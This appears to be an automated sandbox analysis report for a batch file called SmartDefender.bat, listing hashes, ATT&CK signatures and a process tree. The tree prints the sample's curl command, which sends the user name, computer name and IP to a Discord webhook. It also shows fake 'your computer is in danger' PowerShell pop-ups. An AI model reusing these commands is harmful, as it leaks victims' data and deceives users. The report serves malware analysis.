0bc183612ed3fafadea0b92dc41f445937970ce103026924a24e9a0e0ac47a65

Analysis

max time kernel
149s
max time network
154s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
16/07/2026, 18:00

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
SmartDefender.bat
Size 3KB
Sample260716-wlcenset8s
SHA256 0bc183612ed3fafadea0b92dc41f445937970ce103026924a24e9a0e0ac47a65
MD5 0dd9b2f13894be662ef6770ec82f5c5f
SHA1 7f06e3413f9567234994a84d56e6dd460a2c4d1c
SHA512 054d9d260d3e9cc4012b758d48b24d12ecea011c925e38f2838f6281e78a9b5fd69e9b7a23bb50c1a0bfa4d8dd93eec0d7156adca24831647a1071ae28b7413c
TLSH
T1AF6139AF162E900E0DA548B49F1EB781FA5A063BD844B4D0B98DD922DF1F45353F35CA
MD5 SHA1 SHA512 TLSH

Score

6^/10

defense_evasion discovery execution

Malware Config

Signatures

Contacts third-party web service commonly abused for C2 1 TTPs 2 IoCs

Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.

Web Service

T1102

flow	ioc
2	discord.com
3	discord.com

Drops file in System32 directory 2 IoCs

description	ioc	Process
File opened for modification	C:\Windows\system32\LogFiles\WMI\FaceTelManually.etl	svchost.exe
File opened for modification	C:\WINDOWS\SYSTEM32\WINBIODATABASE\51F39552-1075-4199-B513-0C10EA185DB0.DAT	svchost.exe

Drops file in Windows directory 5 IoCs

description	ioc	Process
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping1156_353443648\manifest.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping1156_1572927472\manifest.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping1156_1572927472\protocols.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping1156_2028063322\manifest.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping1156_2028063322\nav_config.json	msedge.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217

Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
5480	powershell.exe
4316	powershell.exe
6044	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Time Discovery 1 TTPs 1 IoCs

Adversary may gather the system time and/or time zone settings from a local or remote system.

discovery

System Time Discovery

T1124

pid	Process
2848	msedge.exe

Checks processor information in registry 2 TTPs 2 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\Registry\Machine\HARDWARE\DESCRIPTION\System\CentralProcessor\0	svchost.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	svchost.exe

Delays execution with timeout.exe 14 IoCs

defense_evasion

pid	Process
7088	timeout.exe
3208	timeout.exe
4308	timeout.exe
4560	timeout.exe
5116	timeout.exe
6732	timeout.exe
6768	timeout.exe
6880	timeout.exe
1208	timeout.exe
2184	timeout.exe
3324	timeout.exe
3580	timeout.exe
3564	timeout.exe
5584	timeout.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe

Gathers network information 2 TTPs 1 IoCs

Uses commandline utility to view network configuration.

System Information Discovery

T1082

Command and Scripting Interpreter

T1059

pid	Process
3152	ipconfig.exe

Modifies data under HKEY_USERS 9 IoCs

description	ioc	Process
Set value (int)	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry\TraceTimeLast = "134286984532150736"	msedge.exe
Key created	\REGISTRY\USER\S-1-5-19\SOFTWARE	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\NGC	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry	msedge.exe
Key created	\REGISTRY\USER\S-1-5-19\SOFTWARE\Microsoft\Cryptography\NGC\SoftLockoutVolatileKey	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\NGC\SoftLockoutVolatileKey	svchost.exe

Modifies registry class 2 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\Software\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\Deployment\Package\*\S-1-5-21-2115213192-531537726-3295841909-1000\{073E14EF-8774-42B9-A22D-C7696F313358}	msedge.exe
Key created	\REGISTRY\MACHINE\Software\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\Deployment\Package\*\S-1-5-21-2115213192-531537726-3295841909-1000\{05B01888-CD88-4FEA-A0A6-21675EA1C2E6}	msedge.exe

Suspicious behavior: EnumeratesProcesses 9 IoCs

pid	Process
5480	powershell.exe
5480	powershell.exe
4316	powershell.exe
4316	powershell.exe
6044	powershell.exe
6044	powershell.exe
6044	powershell.exe
4652	msedge.exe
4652	msedge.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 14 IoCs

pid	Process
1156	msedge.exe
1156	msedge.exe
1156	msedge.exe
1156	msedge.exe
1156	msedge.exe
1156	msedge.exe
1156	msedge.exe
1156	msedge.exe
1156	msedge.exe
1156	msedge.exe
1156	msedge.exe
1156	msedge.exe
1156	msedge.exe
1156	msedge.exe

Suspicious use of AdjustPrivilegeToken 4 IoCs

description	pid	Process
Token: SeDebugPrivilege	5480	powershell.exe
Token: SeDebugPrivilege	4316	powershell.exe
Token: SeDebugPrivilege	6044	powershell.exe
Token: SeShutdownPrivilege	6636	svchost.exe

Suspicious use of FindShellTrayWindow 1 IoCs

pid	Process
1156	msedge.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
6032	SecHealthUI.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 3472 wrote to memory of 2184	3472	cmd.exe	88
PID 3472 wrote to memory of 5980	3472	cmd.exe	89
PID 5980 wrote to memory of 3324	5980	cmd.exe	91
PID 5980 wrote to memory of 3320	5980	cmd.exe	92
PID 3320 wrote to memory of 3152	3320	cmd.exe	93
PID 3320 wrote to memory of 5060	3320	cmd.exe	94
PID 5980 wrote to memory of 3508	5980	cmd.exe	95
PID 5980 wrote to memory of 4560	5980	cmd.exe	96
PID 5980 wrote to memory of 5480	5980	cmd.exe	97
PID 5980 wrote to memory of 3580	5980	cmd.exe	99
PID 5980 wrote to memory of 4316	5980	cmd.exe	100
PID 5980 wrote to memory of 1156	5980	cmd.exe	101
PID 5980 wrote to memory of 3564	5980	cmd.exe	102
PID 1156 wrote to memory of 5456	1156	msedge.exe	103
PID 1156 wrote to memory of 4368	1156	msedge.exe	105
PID 1156 wrote to memory of 2848	1156	msedge.exe	106
PID 1156 wrote to memory of 4368	1156	msedge.exe	105
PID 1156 wrote to memory of 4368	1156	msedge.exe	105
PID 1156 wrote to memory of 5200	1156	msedge.exe	107
PID 1156 wrote to memory of 5200	1156	msedge.exe	107
PID 1156 wrote to memory of 1772	1156	msedge.exe	108
PID 1156 wrote to memory of 1772	1156	msedge.exe	108
PID 1156 wrote to memory of 1772	1156	msedge.exe	108
PID 1156 wrote to memory of 2968	1156	msedge.exe	109
PID 1156 wrote to memory of 2968	1156	msedge.exe	109
PID 1156 wrote to memory of 2968	1156	msedge.exe	109
PID 1156 wrote to memory of 608	1156	msedge.exe	110
PID 1156 wrote to memory of 1180	1156	msedge.exe	111
PID 1156 wrote to memory of 608	1156	msedge.exe	110
PID 1156 wrote to memory of 608	1156	msedge.exe	110
PID 1156 wrote to memory of 1180	1156	msedge.exe	111
PID 1156 wrote to memory of 1180	1156	msedge.exe	111
PID 1156 wrote to memory of 3012	1156	msedge.exe	114
PID 1156 wrote to memory of 1132	1156	msedge.exe	115
PID 1156 wrote to memory of 3012	1156	msedge.exe	114
PID 1156 wrote to memory of 1132	1156	msedge.exe	115
PID 1156 wrote to memory of 4648	1156	msedge.exe	117
PID 1156 wrote to memory of 1372	1156	msedge.exe	118
PID 1156 wrote to memory of 1372	1156	msedge.exe	118
PID 1156 wrote to memory of 2980	1156	msedge.exe	120
PID 1156 wrote to memory of 2980	1156	msedge.exe	120
PID 1156 wrote to memory of 1012	1156	msedge.exe	122
PID 1156 wrote to memory of 1012	1156	msedge.exe	122
PID 5980 wrote to memory of 6044	5980	cmd.exe	123
PID 5980 wrote to memory of 4216	5980	cmd.exe	124
PID 1156 wrote to memory of 2260	1156	msedge.exe	126
PID 1156 wrote to memory of 2260	1156	msedge.exe	126
PID 1156 wrote to memory of 2260	1156	msedge.exe	126
PID 5980 wrote to memory of 5584	5980	cmd.exe	125
PID 1156 wrote to memory of 3260	1156	msedge.exe	127
PID 1156 wrote to memory of 3260	1156	msedge.exe	127
PID 5980 wrote to memory of 3656	5980	cmd.exe	128
PID 5980 wrote to memory of 5392	5980	cmd.exe	129
PID 5980 wrote to memory of 5676	5980	cmd.exe	130
PID 5980 wrote to memory of 1492	5980	cmd.exe	131
PID 5980 wrote to memory of 1444	5980	cmd.exe	132
PID 5980 wrote to memory of 4120	5980	cmd.exe	133
PID 5980 wrote to memory of 2976	5980	cmd.exe	134
PID 5980 wrote to memory of 4416	5980	cmd.exe	135
PID 5980 wrote to memory of 4408	5980	cmd.exe	136
PID 5980 wrote to memory of 5600	5980	cmd.exe	137
PID 5980 wrote to memory of 6076	5980	cmd.exe	138
PID 5980 wrote to memory of 3032	5980	cmd.exe	139
PID 5980 wrote to memory of 5116	5980	cmd.exe	140

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\SmartDefender.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:3472
- C:\Windows\system32\timeout.exe
  timeout /t 1 /nobreak
  2⤵
  - Delays execution with timeout.exe
  PID:2184
- C:\Windows\system32\cmd.exe
  "C:\Windows\system32\cmd.exe" /c ""C:\Users\Admin\AppData\Local\Temp\SmartDefender.bat" /min"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:5980
- - C:\Windows\system32\timeout.exe
    timeout /t 1 /nobreak
    3⤵
    - Delays execution with timeout.exe
    PID:3324
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ipconfig | findstr "IPv4"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3320
  - - C:\Windows\system32\ipconfig.exe
      ipconfig
      4⤵
      Gathers network information
      PID:3152
  - - C:\Windows\system32\findstr.exe
      findstr "IPv4"
      4⤵
      PID:5060
- - C:\Windows\system32\curl.exe
    curl -H "Content-Type: application/json" -X POST -d "{\"content\":\"@danger role @Owner New user: Admin, Computer's Name: CUFERXWN, IP: 10.127.1.168, \"}" "https://discord.com/api/webhooks/1511771511373959370/JR63B2Crb7gT4WLhAkvrIL5DaLcOWhFlOR6IT8nH2YsqSh-hnNzCMyT4KZ3QoUugbzOR"
    3⤵
    PID:3508
- - C:\Windows\system32\timeout.exe
    timeout /t 7 /nobreak
    3⤵
    - Delays execution with timeout.exe
    PID:4560
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -Command "Add-Type -AssemblyName System.Windows.Forms; $result = [System.Windows.Forms.MessageBox]::Show('Your computer is in danger, Click yes to close and no to learn more.?','Hint',[System.Windows.Forms.MessageBoxButtons]::YesNo,[System.Windows.Forms.MessageBoxIcon]::Question); if ($result -eq [System.Windows.Forms.DialogResult]::Yes) { exit 0 } else { exit 1 }"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:5480
- - C:\Windows\system32\timeout.exe
    timeout /t 6 /nobreak
    3⤵
    - Delays execution with timeout.exe
    PID:3580
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -Command "Add-Type -AssemblyName System.Windows.Forms; $result = [System.Windows.Forms.MessageBox]::Show('Youtube: Enjoy the videos and music you love, upload original content, and share it all with friends, family, and the world on YouTube.','Hint',[System.Windows.Forms.MessageBoxButtons]::YesNo,[System.Windows.Forms.MessageBoxIcon]::Question); if ($result -eq [System.Windows.Forms.DialogResult]::Yes) { exit 0 } else { exit 1 }"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:4316
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://www.youtube.com/
    3⤵
    - Drops file in Windows directory
    - Enumerates system info in registry
    - Modifies data under HKEY_USERS
    - Modifies registry class
    - Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
    - Suspicious use of FindShellTrayWindow
    - Suspicious use of WriteProcessMemory
    PID:1156
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=139.0.7258.155 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=139.0.3405.125 --initial-client-data=0x2c8,0x2f4,0x2f8,0x2f0,0x314,0x7ff8b7aac188,0x7ff8b7aac194,0x7ff8b7aac1a0
      4⤵
      PID:5456
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --always-read-main-dll --metrics-shmem-handle=1972,i,15061787838679056429,7768927424952457194,262144 --field-trial-handle=2784,i,3902904277930220332,13573531462156935732,262144 --variations-seed-version --mojo-platform-channel-handle=2776 /prefetch:2
      4⤵
      PID:4368
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=2156,i,1006297744945673097,3206722808122427451,524288 --field-trial-handle=2784,i,3902904277930220332,13573531462156935732,262144 --variations-seed-version --mojo-platform-channel-handle=2820 /prefetch:11
      4⤵
      System Time Discovery
      PID:2848
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --no-pre-read-main-dll --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=2400,i,12253585010517663570,9879296017371974200,524288 --field-trial-handle=2784,i,3902904277930220332,13573531462156935732,262144 --variations-seed-version --mojo-platform-channel-handle=3188 /prefetch:13
      4⤵
      PID:5200
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --always-read-main-dll --metrics-shmem-handle=3528,i,4556641708616059337,15330812294432008437,2097152 --field-trial-handle=2784,i,3902904277930220332,13573531462156935732,262144 --variations-seed-version --mojo-platform-channel-handle=3552 /prefetch:1
      4⤵
      PID:1772
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --always-read-main-dll --metrics-shmem-handle=3540,i,8196548242594601896,13797703228834548167,2097152 --field-trial-handle=2784,i,3902904277930220332,13573531462156935732,262144 --variations-seed-version --mojo-platform-channel-handle=3564 /prefetch:1
      4⤵
      PID:2968
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --always-read-main-dll --metrics-shmem-handle=4164,i,12533423397137018718,11043563233901747912,2097152 --field-trial-handle=2784,i,3902904277930220332,13573531462156935732,262144 --variations-seed-version --mojo-platform-channel-handle=4780 /prefetch:1
      4⤵
      PID:608
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --extension-process --renderer-sub-type=extension --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --always-read-main-dll --metrics-shmem-handle=4180,i,6719557903026527474,11494099932592639026,2097152 --field-trial-handle=2784,i,3902904277930220332,13573531462156935732,262144 --variations-seed-version --mojo-platform-channel-handle=4872 /prefetch:9
      4⤵
      PID:1180
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5324,i,8064601691689494614,17359771677096567725,524288 --field-trial-handle=2784,i,3902904277930220332,13573531462156935732,262144 --variations-seed-version --mojo-platform-channel-handle=3620 /prefetch:14
      4⤵
      PID:3012
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-US --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5336,i,18406217943448702167,3764706627896240054,524288 --field-trial-handle=2784,i,3902904277930220332,13573531462156935732,262144 --variations-seed-version --mojo-platform-channel-handle=5352 /prefetch:14
      4⤵
      PID:1132
  - - C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6072,i,11964054332747383774,3863949537164960061,524288 --field-trial-handle=2784,i,3902904277930220332,13573531462156935732,262144 --variations-seed-version --mojo-platform-channel-handle=6104 /prefetch:14
      4⤵
      PID:1572
  - - C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6072,i,11964054332747383774,3863949537164960061,524288 --field-trial-handle=2784,i,3902904277930220332,13573531462156935732,262144 --variations-seed-version --mojo-platform-channel-handle=6104 /prefetch:14
      4⤵
      PID:4648
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=PooledProcess2 --lang=en-US --service-sandbox-type=utility --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6400,i,17836761008579165024,11491877240646315953,524288 --field-trial-handle=2784,i,3902904277930220332,13573531462156935732,262144 --variations-seed-version --mojo-platform-channel-handle=6412 /prefetch:14
      4⤵
      PID:1372
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6496,i,2330609926803054977,9533585615302900328,524288 --field-trial-handle=2784,i,3902904277930220332,13573531462156935732,262144 --variations-seed-version --mojo-platform-channel-handle=6484 /prefetch:14
      4⤵
      PID:2980
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6612,i,10669045613112387141,10078599118605087969,524288 --field-trial-handle=2784,i,3902904277930220332,13573531462156935732,262144 --variations-seed-version --mojo-platform-channel-handle=6484 /prefetch:14
      4⤵
      PID:1012
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=16 --always-read-main-dll --metrics-shmem-handle=6884,i,4530526370056776719,3835597164370534342,2097152 --field-trial-handle=2784,i,3902904277930220332,13573531462156935732,262144 --variations-seed-version --mojo-platform-channel-handle=6944 /prefetch:1
      4⤵
      PID:2260
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=audio.mojom.AudioService --lang=en-US --service-sandbox-type=audio --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4180,i,7895920955474541164,10208755713653215540,524288 --field-trial-handle=2784,i,3902904277930220332,13573531462156935732,262144 --variations-seed-version --mojo-platform-channel-handle=4292 /prefetch:12
      4⤵
      PID:3260
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=18 --always-read-main-dll --metrics-shmem-handle=6116,i,2666190905334650523,3216771259378278195,2097152 --field-trial-handle=2784,i,3902904277930220332,13573531462156935732,262144 --variations-seed-version --mojo-platform-channel-handle=6160 /prefetch:1
      4⤵
      PID:5760
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=19 --always-read-main-dll --metrics-shmem-handle=4860,i,2467000801869441490,15252693213833250913,2097152 --field-trial-handle=2784,i,3902904277930220332,13573531462156935732,262144 --variations-seed-version --mojo-platform-channel-handle=4968 /prefetch:1
      4⤵
      PID:4768
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=video_capture.mojom.VideoCaptureService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=3564,i,7093136109384023953,1841189276570943764,524288 --field-trial-handle=2784,i,3902904277930220332,13573531462156935732,262144 --variations-seed-version --mojo-platform-channel-handle=3612 /prefetch:14
      4⤵
      Modifies registry class
      PID:2104
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=1212,i,6965478138208812910,9692301722023090858,524288 --field-trial-handle=2784,i,3902904277930220332,13573531462156935732,262144 --variations-seed-version --mojo-platform-channel-handle=3708 /prefetch:14
      4⤵
      PID:4308
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=1440,i,7477602679545761851,14656001878180163962,524288 --field-trial-handle=2784,i,3902904277930220332,13573531462156935732,262144 --variations-seed-version --mojo-platform-channel-handle=3804 /prefetch:14
      4⤵
      PID:3584
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=1392,i,9856084432662735022,13395937346536768740,524288 --field-trial-handle=2784,i,3902904277930220332,13573531462156935732,262144 --variations-seed-version --mojo-platform-channel-handle=3820 /prefetch:14
      4⤵
      PID:2556
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=PooledProcess2 --lang=en-US --service-sandbox-type=utility --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=3744,i,6665492937225628614,6601908787639141037,524288 --field-trial-handle=2784,i,3902904277930220332,13573531462156935732,262144 --variations-seed-version --mojo-platform-channel-handle=4832 /prefetch:14
      4⤵
      PID:4160
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=27 --always-read-main-dll --metrics-shmem-handle=1136,i,8358854196969407538,12354039365053360401,2097152 --field-trial-handle=2784,i,3902904277930220332,13573531462156935732,262144 --variations-seed-version --mojo-platform-channel-handle=3720 /prefetch:1
      4⤵
      PID:6556
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=28 --always-read-main-dll --metrics-shmem-handle=3700,i,15099361671851214088,15470550210315802019,2097152 --field-trial-handle=2784,i,3902904277930220332,13573531462156935732,262144 --variations-seed-version --mojo-platform-channel-handle=6628 /prefetch:1
      4⤵
      PID:6612
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=29 --always-read-main-dll --metrics-shmem-handle=7188,i,4852537732367797339,15887410026815855679,2097152 --field-trial-handle=2784,i,3902904277930220332,13573531462156935732,262144 --variations-seed-version --mojo-platform-channel-handle=6600 /prefetch:1
      4⤵
      PID:6416
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
